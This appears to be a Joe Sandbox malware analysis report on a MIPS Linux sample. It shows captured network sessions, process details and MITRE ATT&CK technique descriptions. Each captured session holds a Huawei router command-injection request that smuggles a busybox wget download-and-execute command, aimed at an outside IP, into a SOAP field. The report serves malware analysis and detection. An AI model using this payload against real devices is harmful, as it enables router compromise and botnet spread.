Dec 3, 2024 21:30:52.443762064 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	40768	41.100.82.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.444325924 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	54728	156.63.118.237	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.444932938 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	44720	41.78.79.219	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.445511103 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	55728	41.97.116.95	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.446086884 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: mips.elf PID: 6224, Parent PID: 6140

General

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	20:30:42
Start date (UTC):	03/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: mips.elf PID: 6224, Parent PID: 6140

General

Chronological Activities

Analysis Process: mips.elf PID: 6226, Parent PID: 6224

General

Chronological Activities

Analysis Process: mips.elf PID: 6228, Parent PID: 6226

General

Chronological Activities

Analysis Process: mips.elf PID: 6230, Parent PID: 6226

General

Chronological Activities

Analysis Process: mips.elf PID: 6232, Parent PID: 6226

General

Chronological Activities

Linux Analysis Report
mips.elf